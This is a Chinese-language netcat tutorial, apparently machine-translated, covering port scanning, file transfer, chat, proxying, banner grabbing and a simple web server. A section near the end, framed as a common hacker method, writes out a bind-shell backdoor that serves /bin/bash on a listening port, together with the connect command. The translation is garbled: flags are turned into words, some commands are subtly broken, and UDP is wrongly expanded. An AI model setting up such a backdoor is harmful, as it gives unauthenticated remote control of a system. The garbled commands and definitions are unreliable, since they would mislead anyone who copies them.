數控 或者,Netcat 命令是 Linux 的網絡命令行工具。它的工作方式類似於端口掃描工具、安全工具或網絡監控工具。這是系統管理員應該了解的重要實用程序,通常被稱為網絡工具的瑞士軍刀。

netcat 命令可用於以下情況:

  • 端口掃描
  • 通過服務器複製文件
  • 創建命令行聊天服務器
  • 轉運港
  • 創建代理服務器
  • 從遠程機器獲取橫幅信息
  • 託管網絡服務器
  • 創建後門

安裝 Netcat 命令

首先,在大多數 ubuntu 系統上, 網貓 它可以作為安裝包提供,但如果沒有,您可以通過以下方式下載:

$ yum install nc                  [On CentOS/RHEL]
$ dnf install nc                  [On Fedora 22+ and RHEL8]
$ sudo apt-get install Netcat     [On Debian/Ubuntu]

動作模式

necat 有兩種操作模式,作為客戶端或作為服務器。

這兩種模式的語法可以表示為:

在某處連接:(客戶端)

 nc [-options] [hostname] [ports] 

監聽入站:(服務器)

nc –l –p port [options] [hostname] [port]

當您使用 Netcat 連接某些東西時使用前者。當您使用自己的機器從另一台機器檢索信息時,您實際上是在客戶端模式下工作。

如果您使用 Netcat 偵聽入站連接,您的機器將充當服務器。這個 -l 聽的意思

使用 Netcat 掃描端口

最基本和最常見的用途之一 網貓 這是關於確定哪些端口是開放的。端口掃描主要使用三個標誌:

-什麼時候啟用 nc 進行掃描而不向監聽守護進程發送數據。
-v啟用詳細模式
-w需要指定超時條件時使用

監聽端口可以通過三種方式指定:

監聽一個端口。

$ nc -v -w 2 z 127.0.0.1 20

監聽多個端口。

$ nc -v -w 2 z 127.0.0.1 20 25 30

監聽一系列端口。

$ nc -v -w 2 z 127.0.0.1 20-25 
監聽多個端口

在 Linux 上使用 Netcat 命令複製文件

這個 netcat 命令 它可用於將文件從一個系統傳輸到另一個系統。 ssh/scp。 這可以使用以下命令完成:

這是通過將文件信息從源機器引導到接收機器來實現的。接收機器工作在偵聽模式並偵聽特定端口上的數據。發送方與接收方建立連接,發送數據。它使用 Netcat 構建服務器-客戶端模型。

重定向運算符用於寫入和寫入文件。

在收音機上(目的地):

$ nc -l  8080 > file.txt

發送機(來源):

$ nc 192.168.1.100 8080 < data.txt

如果我沒有提到文件和重定向操作符,同樣的命令可以用作聊天模型。我們接下來看看這個。

使用 NC 的命令行聊天服務器

網貓 它可以用來創建一個基本的命令行聊天服務器,允許兩個系統在命令行上聊天。

在其中一台服務器上運行以下命令:

$ nc -l 8080

在遠程計算機上,使用以下命令進行連接:

$ nc 127.0.0.1 8080

這建立了一個連接,任何寫在一個終端上的東西都會出現在另一個終端上。

這行得通。

運行兩個終端實例並在兩者之間創建一個聊天服務器。

通過 Netcat 聊天
netcat 命令通過 Netcat 聊天

將連接模式更改為 UDP

Netcat 的默認連接模式是 TCP,但您可以選擇另一種稱為 UDP 的連接模式。

這可以使用’.-u‘ Netcat 命令的選項。

*TCP 代表傳輸控制協議,UDP 代表用戶定義的數據報。

$ nc -l -u 55
數據傳輸協議數據傳輸協議

這連接到端口 55 UDP。 ‘ 告訴你連接的類型是 UDP 而不是 TCP。-v’ 選項:

UDP認證UDP認證

這可用於在上面的聊天服務器示例中使用 -u 創建一個 UDP 聊天服務器。唯一的區別是現在交換是使用 UDP 協議而不是 TCP 完成的。

搶橫幅

您還可以使用 Netcat 從遠程系統檢索橫幅信息。

這會連接到網址的 80 端口,然後 標頭/HTTP/1.0標頭/HTTP/1.1

您還可以使用 CONNECT、DELETE、DEBUG、OPTIONS、GET 代替 HEAD。

$ nc [source name] 80
HEAD / HTTP/ 1.1 

寫完第二行後,輸入幾次。

截圖 2020 06 02 11.23.36 PM使用 HEAD/HTTP 抓取橫幅
截圖 2020 06 02 11.24.07 PM使用 OPTIONS /HTTP 獲取橫幅
截圖 2020 06 02 11.34.12 PM使用 GET/HTTP 獲取橫幅

使用 Netcat 作為代理服務器

要創建代理服務器,您需要創建用於發送和接收信息的通道。通過簡單地重定向傳入連接,您可以創建一個僅在一個方向上工作的服務器。在這種情況下,響應被丟棄。

創建服務器的命令是:

$ nc -l 8080 | nc 192.168.1.200 80

要同時做到這一點,請使用:

$ mkfifo 2wayPipe
$ nc -l 8080 0<2wayPipe | nc 192.168.1.200 80 1>2wayPipe

Linux mkfifo 命令用於創建管道。管道本質上是先進先出 (FIFO),主要用於 Linux 中兩個進程之間的通信。

2wayPipe 是您選擇的管道名稱。

這提供了通過網絡發送和接收信息的能力 網貓 代理服務器。

創建一個基本的 Web 服務器

假設您託管一個基本的 HTML 文件。此文件在您的系統上名為 index.html。然後您可以使用以下命令創建它 本地 Netcat 服務器 託管您的 HTML 文件。在您的 shell 腳本中使用 while 循環來強制服務器繼續偵聽端口 8080 並為所有請求提供 index.html 頁面。

$ while : ; do (echo -ne "HTTP/1.1 200 OKrn"; cat index.html;) | nc -l -p 8080 ; done

沒有退出條件的 while 循環允許服務器運行,直到它被手動終止,除非它被手動終止。您可以通過鍵入查看網頁 https://localhost:8080 在瀏覽器窗口中。

在 IPV6 和 IPV4 之間切換

如果您需要連接到特定的 IP 版本,可以使用以下命令標籤之一進行操作:

-四個僅允許 IPv4 地址
-6僅允許 IPv6 地址

例如,在上面的命令行聊天模型中,您可以使用這些標誌中的任何一個來連接到 IPv4 或 IPv6,如下所示。

對於 IPV4:

$ nc -4 -l 8080
$ nc -4 192.168.1.100 8080

對於 IPV6:

$ nc -6 -l 8080
$ nc -6 192.168.1.100 8080

使用 Netcat 創建系統後門

網貓 用於在系統中創建後門。這是黑客經常使用的一種非常常用的方法。黑客可以使用後門以繞過系統正常安全機制的方式訪問系統。這是 -e 可用選項 網貓 命令。 Netcat 使用 -e 命令在客戶端連接時運行指定的程序。

命令是:

$ nc -l 5500 -e /bin/bash

這會將端口 5500 連接到您的 bin/bash 遠程計算機,您可以通過鍵入以下命令訪問該計算機以運行命令:

$ nc 10.10.10.100 5500

斷開連接後繼續收聽

使用 Netcat 設置服務器時,與客戶端斷開連接也會終止服務器。為了防止這種情況, -k 無論與客戶端的連接如何,都強制服務器繼續運行。

$ nc -k -l 8080

這確保即使在客戶端斷開連接後服務器仍在運行。

結論是

netcat 命令是一個非常廣泛的實用程序,上面顯示的用途只是觸及了您可以使用 netcat 命令執行的操作的表面。有關命令的更多信息,請參閱維基百科頁面或手冊頁。